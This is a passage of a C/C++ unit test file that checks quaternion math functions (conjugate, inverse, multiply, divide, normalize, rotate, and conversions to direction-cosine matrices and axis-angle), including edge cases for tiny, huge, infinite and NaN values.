&q1, 1.0, &q2, 1.0, &q3, &q1); EXPECT_NEAR_QUAT(q1, q_ans, DBL_EPSILON); } TEST(QuatLinComb3, ReuseInput2) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}; Quat q_ans, q2 = {1.0, 1.0, 1.0, 1.0}; const Quat q3 = {-5.0, 0.0, 0.0, 5.0}; QuatAdd(QuatAdd(&q1, &q2, &q_ans), &q3, &q_ans); QuatLinComb3(1.0, &q1, 1.0, &q2, 1.0, &q3, &q2); EXPECT_NEAR_QUAT(q2, q_ans, DBL_EPSILON); } TEST(QuatLinComb3, ReuseInput3) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}; const Quat q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_ans, q3 = {-5.0, 0.0, 0.0, 5.0}; QuatAdd(QuatAdd(&q1, &q2, &q_ans), &q3, &q_ans); QuatLinComb3(1.0, &q1, 1.0, &q2, 1.0, &q3, &q3); EXPECT_NEAR_QUAT(q3, q_ans, DBL_EPSILON); } TEST(QuatConj, Normal) { const Quat q = {1.0, 2.0, 3.0, 4.0}; Quat q_out, q_ans = {1.0, -2.0, -3.0, -4.0}; QuatConj(&q, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatConj, ReuseInput) { Quat q = {1.0, 2.0, 3.0, 4.0}; Quat q_ans = {1.0, -2.0, -3.0, -4.0}; QuatConj(&q, &q); EXPECT_NEAR_QUAT(q, q_ans, DBL_EPSILON); } #if defined(NDEBUG) TEST(QuatInv, Zero) { Quat q_zero = {0.0, 0.0, 0.0, 0.0}; Quat q_inv; QuatInv(&q_zero, &q_inv); // We have defined the inverse of the zero quaternion to be as follows, // to avoid Inf or NaN. EXPECT_EQ(q_inv.q0, DBL_MAX); EXPECT_EQ(q_inv.q1, 0.0); EXPECT_EQ(q_inv.q2, 0.0); EXPECT_EQ(q_inv.q3, 0.0); } #endif // defined(NDEBUG) TEST(QuatInv, Small) { Quat q_small0 = {DBL_MIN, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0 / DBL_MIN, 0.0, 0.0, 0.0}; Quat q_inv; QuatInv(&q_small0, &q_inv); EXPECT_NEAR(q_inv.q0 / q_ans0.q0, 1.0, DBL_EPSILON); EXPECT_EQ(q_inv.q1, 0.0); EXPECT_EQ(q_inv.q2, 0.0); EXPECT_EQ(q_inv.q3, 0.0); Quat q_small0123 = {DBL_MIN, DBL_MIN, DBL_MIN, DBL_MIN}; Quat q_ans0123 = {1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN)}; QuatInv(&q_small0123, &q_inv); EXPECT_NEAR_QUAT(q_inv, q_ans0123, DBL_EPSILON); } TEST(QuatInv, ReuseInputSmall) { Quat q_small0 = {DBL_MIN, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0 / DBL_MIN, 0.0, 0.0, 0.0}; QuatInv(&q_small0, &q_small0); EXPECT_NEAR(q_small0.q0 / q_ans0.q0, 1.0, DBL_EPSILON); EXPECT_EQ(q_small0.q1, 0.0); EXPECT_EQ(q_small0.q2, 0.0); EXPECT_EQ(q_small0.q3, 0.0); Quat q_small0123 = {DBL_MIN, DBL_MIN, DBL_MIN, DBL_MIN}; Quat q_ans0123 = {1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN), -1.0 / (4.0 * DBL_MIN)}; QuatInv(&q_small0123, &q_small0123); EXPECT_NEAR_QUAT(q_small0123, q_ans0123, DBL_EPSILON); } TEST(QuatInv, Large) { Quat q_large0 = {DBL_MAX, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0 / DBL_MAX, 0.0, 0.0, 0.0}; Quat q_inv; QuatInv(&q_large0, &q_inv); EXPECT_NEAR(q_inv.q0 / q_ans0.q0, 1.0, DBL_EPSILON); EXPECT_EQ(q_inv.q1, 0.0); EXPECT_EQ(q_inv.q2, 0.0); EXPECT_EQ(q_inv.q3, 0.0); Quat q_large0123 = {DBL_MAX / 4.0, DBL_MAX / 4.0, DBL_MAX / 4.0, DBL_MAX / 4.0}; Quat q_ans0123 = {1.0 / DBL_MAX, -1.0 / DBL_MAX, -1.0 / DBL_MAX, -1.0 / DBL_MAX}; QuatInv(&q_large0123, &q_inv); EXPECT_NEAR_QUAT(q_inv, q_ans0123, DBL_EPSILON); } TEST(QuatMultiply, CompareToMATLAB) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}; const Quat q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_out, q_ans = {-4.0, -6.0, -2.0, 8.0}; QuatMultiply(&q1, &q2, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatMultiply, ReuseInput1) { Quat q1 = {-1.0, 2.0, -3.0, 4.0}; const Quat q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_ans = {-4.0, -6.0, -2.0, 8.0}; QuatMultiply(&q1, &q2, &q1); EXPECT_NEAR_QUAT(q1, q_ans, DBL_EPSILON); } TEST(QuatMultiply, ReuseInput2) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}; Quat q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_ans = {-4.0, -6.0, -2.0, 8.0}; QuatMultiply(&q1, &q2, &q2); EXPECT_NEAR_QUAT(q2, q_ans, DBL_EPSILON); } TEST(QuatDivide, CompareToMATLAB) { Quat q1 = {1.0, 0.0, 1.0, 0.0}; Quat q2 = {1.0, 0.5, 0.5, 0.75}; Quat q_out; QuatDivide(&q1, &q2, &q_out); EXPECT_NEAR(q_out.q0, 0.727272727272727, 3.0 * DBL_EPSILON); EXPECT_NEAR(q_out.q1, 0.121212121212121, 3.0 * DBL_EPSILON); EXPECT_NEAR(q_out.q2, 0.242424242424242, 3.0 * DBL_EPSILON); EXPECT_NEAR(q_out.q3, -0.606060606060606, 3.0 * DBL_EPSILON); } TEST(QuatDivide, ReuseInput1) { Quat q1 = {1.0, 0.0, 1.0, 0.0}; const Quat q2 = {1.0, 0.5, 0.5, 0.75}; QuatDivide(&q1, &q2, &q1); EXPECT_NEAR(q1.q0, 0.727272727272727, 3.0 * DBL_EPSILON); EXPECT_NEAR(q1.q1, 0.121212121212121, 3.0 * DBL_EPSILON); EXPECT_NEAR(q1.q2, 0.242424242424242, 3.0 * DBL_EPSILON); EXPECT_NEAR(q1.q3, -0.606060606060606, 3.0 * DBL_EPSILON); } TEST(QuatDivide, ReuseInput2) { const Quat q1 = {1.0, 0.0, 1.0, 0.0}; Quat q2 = {1.0, 0.5, 0.5, 0.75}; QuatDivide(&q1, &q2, &q2); EXPECT_NEAR(q2.q0, 0.727272727272727, 3.0 * DBL_EPSILON); EXPECT_NEAR(q2.q1, 0.121212121212121, 3.0 * DBL_EPSILON); EXPECT_NEAR(q2.q2, 0.242424242424242, 3.0 * DBL_EPSILON); EXPECT_NEAR(q2.q3, -0.606060606060606, 3.0 * DBL_EPSILON); } // TODO: Find a nice way to get a random distribution of // rotations and use it here. TEST(QuatDivide, CompareToDCMDiff) { Quat q1 = {1.0 / sqrt(2.0), 0.0, 1.0 / sqrt(2.0), 0.0}; Quat q2 = {1.0 / sqrt(2.0), 0.0, -1.0 / sqrt(2.0), 0.0}; Quat q_out_dcm, q_out_q; Mat3 dcm1, dcm2, dcm_out; QuatToDcm(&q1, &dcm1); QuatToDcm(&q2, &dcm2); Mat3Mult(&dcm2, kTrans, &dcm1, kNoTrans, &dcm_out); DcmToQuat(&dcm_out, &q_out_dcm); QuatDivide(&q1, &q2, &q_out_q); EXPECT_NEAR(q_out_q.q0, q_out_dcm.q0, 1e-9); EXPECT_NEAR(q_out_q.q1, q_out_dcm.q1, 1e-9); EXPECT_NEAR(q_out_q.q2, q_out_dcm.q2, 1e-9); EXPECT_NEAR(q_out_q.q3, q_out_dcm.q3, 1e-9); } TEST(QuatMaxAbs, Normal) { const Quat q1 = {-5.0, 2.0, -3.0, 2.0}; const Quat q2 = {-1.0, 10.0, -3.0, 2.0}; const Quat q3 = {-1.0, 2.0, -3.0, 2.0}; const Quat q4 = {-1.0, 2.0, -3.0, 4.0}; EXPECT_NEAR(QuatMaxAbs(&q1), 5.0, DBL_EPSILON); EXPECT_NEAR(QuatMaxAbs(&q2), 10.0, DBL_EPSILON); EXPECT_NEAR(QuatMaxAbs(&q3), 3.0, DBL_EPSILON); EXPECT_NEAR(QuatMaxAbs(&q4), 4.0, DBL_EPSILON); } TEST(QuatNorm, CompareToQuatMod) { const Quat q = {-1.0, 2.0, -3.0, 4.0}; EXPECT_NEAR(QuatModSquared(&q), QuatMod(&q) * QuatMod(&q), DBL_EPSILON); } TEST(QuatMod, Zero) { Quat q_zero = {0.0, 0.0, 0.0, 0.0}; double quat_mod = QuatMod(&q_zero); EXPECT_EQ(quat_mod, 0.0); } TEST(QuatMod, Small) { Quat q_small0 = {DBL_MIN, 0.0, 0.0, 0.0}; double quat_mod0 = QuatMod(&q_small0); EXPECT_EQ(quat_mod0, DBL_MIN); // Check with a value whose reciprocal is infinite. double very_small = 5.0e-324; // Smallest representable double. Quat q_smaller0 = {very_small, 0.0, 0.0, 0.0}; double quat_mod_smaller0 = QuatMod(&q_smaller0); EXPECT_EQ(quat_mod_smaller0, very_small); Quat q_small0123 = {DBL_MIN, DBL_MIN, DBL_MIN, DBL_MIN}; double quat_mod0123 = QuatMod(&q_small0123); EXPECT_EQ(quat_mod0123, 2.0 * DBL_MIN); } TEST(QuatMod, Unit) { Quat q_unit = {0.5, 0.5, 0.5, 0.5}; double quat_mod = QuatMod(&q_unit); EXPECT_NEAR(quat_mod, 1.0, DBL_EPSILON); } TEST(QuatMod, Large) { Quat q_large0 = {DBL_MAX, 0.0, 0.0, 0.0}; double quat_mod0 = QuatMod(&q_large0); EXPECT_NEAR(quat_mod0 / DBL_MAX, 1.0, DBL_EPSILON); Quat q_large0123 = {DBL_MAX / 4.0, DBL_MAX / 4.0, DBL_MAX / 4.0, DBL_MAX / 4.0}; double quat_mod0123 = QuatMod(&q_large0123); EXPECT_NEAR(quat_mod0123 / (DBL_MAX / 2.0), 1.0, DBL_EPSILON); } TEST(QuatMod, InfsAndNaNs) { Quat q_infs01 = {INFINITY, INFINITY, 0.0, 0.0}; double quat_mod01 = QuatMod(&q_infs01); EXPECT_EQ(quat_mod01, INFINITY); Quat q_infs_nans = {INFINITY, INFINITY, NAN, 0.0}; double quat_mod_infs_nans = QuatMod(&q_infs_nans); EXPECT_EQ(quat_mod_infs_nans, INFINITY); } TEST(QuatNormalize, Zero) { Quat q_norm = {1.0, 1.0, 1.0, 1.0}; Quat q_zero = {0.0, 0.0, 0.0, 0.0}; Quat q_ans = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_zero, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans, DBL_EPSILON); } TEST(QuatNormalize, ReuseInputZero) { Quat q_zero = {0.0, 0.0, 0.0, 0.0}; Quat q_ans = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_zero, &q_zero); EXPECT_NEAR_QUAT(q_zero, q_ans, DBL_EPSILON); } TEST(QuatNormalize, Small) { Quat q_norm = {1.0, 1.0, 1.0, 1.0}; Quat q_min0 = {DBL_MIN, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_min0, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0, DBL_EPSILON); Quat q_min1 = {0.0, DBL_MIN, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_min1, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans1, DBL_EPSILON); Quat q_min2 = {0.0, 0.0, DBL_MIN, 0.0}; Quat q_ans2 = {0.0, 0.0, 1.0, 0.0}; QuatNormalize(&q_min2, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans2, DBL_EPSILON); Quat q_min3 = {0.0, 0.0, 0.0, DBL_MIN}; Quat q_ans3 = {0.0, 0.0, 0.0, 1.0}; QuatNormalize(&q_min3, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans3, DBL_EPSILON); double very_small = 5.0e-324; // Smallest representable double. Quat q_min01 = {very_small, very_small, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_min01, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans01, DBL_EPSILON); Quat q_min0123 = {DBL_MIN, DBL_MIN, DBL_MIN, DBL_MIN}; Quat q_ans0123 = {0.5, 0.5, 0.5, 0.5}; QuatNormalize(&q_min0123, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0123, DBL_EPSILON); Quat q_min0n12n3 = {DBL_MIN, -DBL_MIN, DBL_MIN, -DBL_MIN}; Quat q_ans0n12n3 = {0.5, -0.5, 0.5, -0.5}; QuatNormalize(&q_min0n12n3, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0n12n3, DBL_EPSILON); Quat q_small_x = {1.0, DBL_MIN, 0.0, 0.0}; QuatNormalize(&q_small_x, &q_norm); EXPECT_EQ(q_norm.q1, q_small_x.q1); Quat q_small_y = {1.0, 0.0, DBL_MIN, 0.0}; QuatNormalize(&q_small_y, &q_norm); EXPECT_EQ(q_norm.q2, q_small_y.q2); Quat q_small_z = {1.0, 0.0, 0.0, DBL_MIN}; QuatNormalize(&q_small_z, &q_norm); EXPECT_EQ(q_norm.q3, q_small_z.q3); } TEST(QuatNormalize, ReuseInputSmall) { Quat q_min0 = {DBL_MIN, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_min0, &q_min0); EXPECT_NEAR_QUAT(q_min0, q_ans0, DBL_EPSILON); Quat q_min1 = {0.0, DBL_MIN, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_min1, &q_min1); EXPECT_NEAR_QUAT(q_min1, q_ans1, DBL_EPSILON); Quat q_min2 = {0.0, 0.0, DBL_MIN, 0.0}; Quat q_ans2 = {0.0, 0.0, 1.0, 0.0}; QuatNormalize(&q_min2, &q_min2); EXPECT_NEAR_QUAT(q_min2, q_ans2, DBL_EPSILON); Quat q_min3 = {0.0, 0.0, 0.0, DBL_MIN}; Quat q_ans3 = {0.0, 0.0, 0.0, 1.0}; QuatNormalize(&q_min3, &q_min3); EXPECT_NEAR_QUAT(q_min3, q_ans3, DBL_EPSILON); Quat q_min01 = {DBL_MIN, DBL_MIN, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_min01, &q_min01); EXPECT_NEAR_QUAT(q_min01, q_ans01, DBL_EPSILON); Quat q_min0123 = {DBL_MIN, DBL_MIN, DBL_MIN, DBL_MIN}; Quat q_ans0123 = {0.5, 0.5, 0.5, 0.5}; QuatNormalize(&q_min0123, &q_min0123); EXPECT_NEAR_QUAT(q_min0123, q_ans0123, DBL_EPSILON); Quat q_min0n12n3 = {DBL_MIN, -DBL_MIN, DBL_MIN, -DBL_MIN}; Quat q_ans0n12n3 = {0.5, -0.5, 0.5, -0.5}; QuatNormalize(&q_min0n12n3, &q_min0n12n3); EXPECT_NEAR_QUAT(q_min0n12n3, q_ans0n12n3, DBL_EPSILON); Quat q_small_x = {1.0, DBL_MIN, 0.0, 0.0}; QuatNormalize(&q_small_x, &q_small_x); EXPECT_EQ(q_small_x.q1, q_small_x.q1); Quat q_small_y = {1.0, 0.0, DBL_MIN, 0.0}; QuatNormalize(&q_small_y, &q_small_y); EXPECT_EQ(q_small_y.q2, q_small_y.q2); Quat q_small_z = {1.0, 0.0, 0.0, DBL_MIN}; QuatNormalize(&q_small_z, &q_small_z); EXPECT_EQ(q_small_z.q3, q_small_z.q3); } TEST(QuatNormalize, Large) { Quat q_norm = {1.0, 1.0, 1.0, 1.0}; Quat q_max0 = {DBL_MAX, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_max0, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0, DBL_EPSILON); Quat q_max1 = {0.0, DBL_MAX, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_max1, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans1, DBL_EPSILON); Quat q_max2 = {0.0, 0.0, DBL_MAX, 0.0}; Quat q_ans2 = {0.0, 0.0, 1.0, 0.0}; QuatNormalize(&q_max2, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans2, DBL_EPSILON); Quat q_max3 = {0.0, 0.0, 0.0, DBL_MAX}; Quat q_ans3 = {0.0, 0.0, 0.0, 1.0}; QuatNormalize(&q_max3, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans3, DBL_EPSILON); Quat q_max01 = {DBL_MAX, DBL_MAX, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_max01, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans01, DBL_EPSILON); Quat q_max0123 = {DBL_MAX, DBL_MAX, DBL_MAX, DBL_MAX}; Quat q_ans0123 = {0.5, 0.5, 0.5, 0.5}; QuatNormalize(&q_max0123, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0123, DBL_EPSILON); Quat q_max0n12n3 = {DBL_MAX, -DBL_MAX, DBL_MAX, -DBL_MAX}; Quat q_ans0n12n3 = {0.5, -0.5, 0.5, -0.5}; QuatNormalize(&q_max0n12n3, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0n12n3, DBL_EPSILON); } TEST(QuatNormalize, ReuseInputLarge) { Quat q_max0 = {DBL_MAX, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_max0, &q_max0); EXPECT_NEAR_QUAT(q_max0, q_ans0, DBL_EPSILON); Quat q_max1 = {0.0, DBL_MAX, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_max1, &q_max1); EXPECT_NEAR_QUAT(q_max1, q_ans1, DBL_EPSILON); Quat q_max2 = {0.0, 0.0, DBL_MAX, 0.0}; Quat q_ans2 = {0.0, 0.0, 1.0, 0.0}; QuatNormalize(&q_max2, &q_max2); EXPECT_NEAR_QUAT(q_max2, q_ans2, DBL_EPSILON); Quat q_max3 = {0.0, 0.0, 0.0, DBL_MAX}; Quat q_ans3 = {0.0, 0.0, 0.0, 1.0}; QuatNormalize(&q_max3, &q_max3); EXPECT_NEAR_QUAT(q_max3, q_ans3, DBL_EPSILON); Quat q_max01 = {DBL_MAX, DBL_MAX, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_max01, &q_max01); EXPECT_NEAR_QUAT(q_max01, q_ans01, DBL_EPSILON); Quat q_max0123 = {DBL_MAX, DBL_MAX, DBL_MAX, DBL_MAX}; Quat q_ans0123 = {0.5, 0.5, 0.5, 0.5}; QuatNormalize(&q_max0123, &q_max0123); EXPECT_NEAR_QUAT(q_max0123, q_ans0123, DBL_EPSILON); Quat q_max0n12n3 = {DBL_MAX, -DBL_MAX, DBL_MAX, -DBL_MAX}; Quat q_ans0n12n3 = {0.5, -0.5, 0.5, -0.5}; QuatNormalize(&q_max0n12n3, &q_max0n12n3); EXPECT_NEAR_QUAT(q_max0n12n3, q_ans0n12n3, DBL_EPSILON); } TEST(QuatNormalize, InfsAndNaNs) { Quat q_norm = {1.0, 1.0, 1.0, 1.0}; Quat q_inf0 = {1.0 / 0.0, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_inf0, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans0, DBL_EPSILON); Quat q_inf1 = {0.0, 1.0 / 0.0, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_inf1, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans1, DBL_EPSILON); Quat q_inf01 = {1.0 / 0.0, 1.0 / 0.0, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_inf01, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans01, DBL_EPSILON); Quat q_nan1 = {0.0, 0.0 / 0.0, 0.0, 0.0}; Quat q_ans_nan1 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_nan1, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans_nan1, DBL_EPSILON); Quat q_nan_inf = {0.0 / 0.0, 0.0 / 0.0, 1.0 / 0.0, 0.0}; Quat q_ans_nan_inf = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_nan_inf, &q_norm); EXPECT_NEAR_QUAT(q_norm, q_ans_nan_inf, DBL_EPSILON); } TEST(QuatNormalize, ReuseInputInfsAndNaNs) { Quat q_inf0 = {1.0 / 0.0, 0.0, 0.0, 0.0}; Quat q_ans0 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_inf0, &q_inf0); EXPECT_NEAR_QUAT(q_inf0, q_ans0, DBL_EPSILON); Quat q_inf1 = {0.0, 1.0 / 0.0, 0.0, 0.0}; Quat q_ans1 = {0.0, 1.0, 0.0, 0.0}; QuatNormalize(&q_inf1, &q_inf1); EXPECT_NEAR_QUAT(q_inf1, q_ans1, DBL_EPSILON); Quat q_inf01 = {1.0 / 0.0, 1.0 / 0.0, 0.0, 0.0}; Quat q_ans01 = {sqrt(2.0) / 2.0, sqrt(2.0) / 2.0, 0.0, 0.0}; QuatNormalize(&q_inf01, &q_inf01); EXPECT_NEAR_QUAT(q_inf01, q_ans01, DBL_EPSILON); Quat q_nan1 = {0.0, 0.0 / 0.0, 0.0, 0.0}; Quat q_ans_nan1 = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_nan1, &q_nan1); EXPECT_NEAR_QUAT(q_nan1, q_ans_nan1, DBL_EPSILON); Quat q_nan_inf = {0.0 / 0.0, 0.0 / 0.0, 1.0 / 0.0, 0.0}; Quat q_ans_nan_inf = {1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q_nan_inf, &q_nan_inf); EXPECT_NEAR_QUAT(q_nan_inf, q_ans_nan_inf, DBL_EPSILON); } TEST(QuatNormalize, NoChangeSign) { Quat q_out; Quat q0 = {-1.0, 0.0, 0.0, 0.0}; QuatNormalize(&q0, &q_out); EXPECT_NEAR_QUAT(q_out, q0, 1e-9); Quat q1 = {0.0, -1.0, 0.0, 0.0}; QuatNormalize(&q1, &q_out); EXPECT_NEAR_QUAT(q_out, q1, 1e-9); Quat q2 = {0.0, 0.0, -1.0, 0.0}; QuatNormalize(&q2, &q_out); EXPECT_NEAR_QUAT(q_out, q2, 1e-9); Quat q3 = {0.0, 0.0, 0.0, -1.0}; QuatNormalize(&q3, &q_out); EXPECT_NEAR_QUAT(q_out, q3, 1e-9); } // This uses the mathematical definition of quaternion rotation: // // v_out = q^-1 * v_in * q // // as a check against the DCM calculation. TEST(QuatRotate, CompareWithQuatMultiply) { for (int32_t i = 0; i < 222; ++i) { Vec3 v = {Rand(-1.0, 1.0), Rand(-1.0, 1.0), Rand(-1.0, 1.0)}; Quat q = {Rand(-1.0, 1.0), Rand(-1.0, 1.0), Rand(-1.0, 1.0), Rand(-1.0, 1.0)}; QuatNormalize(&q, &q); Quat q_inv, q_out, q_v = {0.0, v.x, v.y, v.z}; QuatInv(&q, &q_inv); QuatMultiply(QuatMultiply(&q_inv, &q_v, &q_out), &q, &q_out); Vec3 v_mult = {q_out.q1, q_out.q2, q_out.q3}; Vec3 v_rot; QuatRotate(&q, &v, &v_rot); // I did not prove the 10 * DBL_EPSILON limit here, but these // values should be "close". EXPECT_NEAR_VEC3(v_rot, v_mult, 10.0 * DBL_EPSILON); } } TEST(QuatToDcm, CompareToMATLAB) { const Quat q = {0.697035155263178, -0.060588926576927, 0.686790776520073, -0.196950256639710}; Mat3 dcm; Mat3 dcm_ans = {{{-0.020941948606985, -0.357786337296536, -0.933568621812276}, {0.191338673567395, 0.915079156771617, -0.354992463074382}, {0.981300640367677, -0.186062015699273, 0.049294822526421}}}; QuatToDcm(&q, &dcm); EXPECT_NEAR_MAT3(dcm, dcm_ans, 1e-9); } #if defined(NDEBUG) TEST(QuatToDcm, SameAsNormalized) { Quat q_unit, q_non_unit = {1.0, -2.0, 3.0, -4.0}; QuatNormalize(&q_non_unit, &q_unit); Mat3 dcm_non_unit, dcm_unit; QuatToDcm(&q_non_unit, &dcm_non_unit); QuatToDcm(&q_unit, &dcm_unit); EXPECT_NEAR_MAT3(dcm_non_unit, dcm_unit, 2.0 * DBL_EPSILON); } #endif // defined(NDEBUG) TEST(DcmToQuat, Recovery) { for (int32_t i = 0; i < 222; ++i) { Quat q = {Rand(-1.0, 1.0), Rand(-1.0, 1.0), Rand(-1.0, 1.0), Rand(-1.0, 1.0)}; QuatNormalize(&q, &q); Quat q_out; Mat3 dcm; DcmToQuat(QuatToDcm(&q, &dcm), &q_out); if (Sign(q.q0) != Sign(q_out.q0)) QuatScale(&q_out, -1.0, &q_out); EXPECT_NEAR_QUAT(q, q_out, 2.0 * DBL_EPSILON); } } TEST(DcmToQuat, RecoverySmall) { Quat q = {1.0, DBL_MIN, 0.0, 0.0}; QuatNormalize(&q, &q); Quat q_out; Mat3 dcm; DcmToQuat(QuatToDcm(&q, &dcm), &q_out); if (Sign(q.q0) != Sign(q_out.q0)) QuatScale(&q_out, -1.0, &q_out); EXPECT_NEAR_QUAT(q, q_out, 2.0 * DBL_EPSILON); } TEST(QuatToAxisAngle, Recovery) { // If the magnitude of the rotation is greater than PI, then there // is necessarily a way of representing the rotation with a shorter // rotation. 1.813 is the max chosen because PI^2 = 1.813^2 + // 1.813^2 + 1.813^2. double angs[7] = {-1.813, -1.0, -0.5, 0.0, 0.5, 1.0, 1.813}; for (int32_t i = 0; i < 7; ++i) { for (int32_t j = 0; j < 7; ++j) { for (int32_t k = 0; k < 7; ++k) { if (angs[i] == 0.0 && angs[j] == 0.0 && angs[k] == 0.0) continue; Quat q; Vec3 ax, ax_ang_final, ax_ang_start = {angs[i], angs[j], angs[k]}; double ang = QuatToAxisAngle(AxisToQuat(&ax_ang_start, &q), &ax); Vec3Scale(&ax, ang, &ax_ang_final); EXPECT_NEAR(ax_ang_start.x, ax_ang_final.x, 1e-9); EXPECT_NEAR(ax_ang_start.y, ax_ang_final.y, 1e-9); EXPECT_NEAR(ax_ang_start.z, ax_ang_final.z, 1e-9); } } } } #if defined(NDEBUG) TEST(QuatToAxisAngle, Recovery0) { Quat q; Vec3 axis_angle_final, axis_angle_start = kVec3Zero; double angle = QuatToAxisAngle(AxisToQuat(&axis_angle_start, &q), &axis_angle_final); Vec3Scale(&axis_angle_final, angle, &axis_angle_final); EXPECT_NEAR_VEC3(axis_angle_start, axis_angle_final, DBL_EPSILON); } #endif // defined(NDEBUG) TEST(QuatToAxisAngle, SingleAxisRotations) { const int32_t num_angles = 8; double angles[num_angles] = { -PI, -3.0 * PI / 4.0, -PI / 2.0, -PI / 4.0, PI / 4.0, PI / 2.0, 3.0 * PI / 4.0, PI}; Mat3 dcm; Quat q; double angle; Vec3 axis_angle_ans, axis_angle; for (int32_t i = 0; i < num_angles; i++) { // Check x rotations. AngleToDcm(angles[i], 0.0, 0.0, kRotationOrderXyz, &dcm); angle = QuatToAxisAngle(DcmToQuat(&dcm, &q), &axis_angle); Vec3Scale(&axis_angle, angle, &axis_angle); Vec3Scale(&kVec3X, angles[i], &axis_angle_ans); EXPECT_NEAR_VEC3(axis_angle_ans, axis_angle, DBL_EPSILON); // Check y rotations. AngleToDcm(0.0, angles[i], 0.0, kRotationOrderXyz, &dcm); angle = QuatToAxisAngle(DcmToQuat(&dcm, &q), &axis_angle); Vec3Scale(&axis_angle, angle, &axis_angle); Vec3Scale(&kVec3Y, angles[i], &axis_angle_ans); EXPECT_NEAR_VEC3(axis_angle_ans, axis_angle, DBL_EPSILON); // Check z rotations. AngleToDcm(0.0, 0.0, angles[i], kRotationOrderXyz, &dcm); angle = QuatToAxisAngle(DcmToQuat(&dcm, &q), &axis_angle); Vec3Scale(&axis_angle, angle, &axis_angle); Vec3Scale(&kVec3Z, angles[i], &axis_angle_ans); EXPECT_NEAR_VEC3(axis_angle_ans, axis_angle, DBL_EPSILON); } } #if defined(NDEBUG) TEST(QuatToAxisAngle, ZeroRotation) { Vec3 axis; double ang = QuatToAxisAngle(&kQuatIdentity, &axis); EXPECT_EQ(ang, 0.0); EXPECT_EQ(axis.x, 0.0); EXPECT_EQ(axis.y, 0.0); EXPECT_EQ(axis.z, 0.0); } #endif // defined(NDEBUG) TEST(QuatToAxisAngle, NoSignChange) { Vec3 axis; for (int32_t sign0 = -1; sign0 <= 1; sign0 += 2) { for (int32_t sign1 = -1; sign1 <= 1; sign1 += 2) { for (int32_t sign2 = -1; sign2 <= 1; sign2 += 2) { for (int32_t sign3 = -1; sign3 <= 1; sign3 += 2) { Quat q = {sign0 * 0.5, sign1 * 0.5, sign2 * 0.5, sign3 * 0.5}; QuatToAxisAngle(&q, &axis); EXPECT_GT(axis.x * q.q1, 0.0); EXPECT_GT(axis.y * q.q2, 0.0); EXPECT_GT(axis.z * q.q3, 0.0); } } } } } 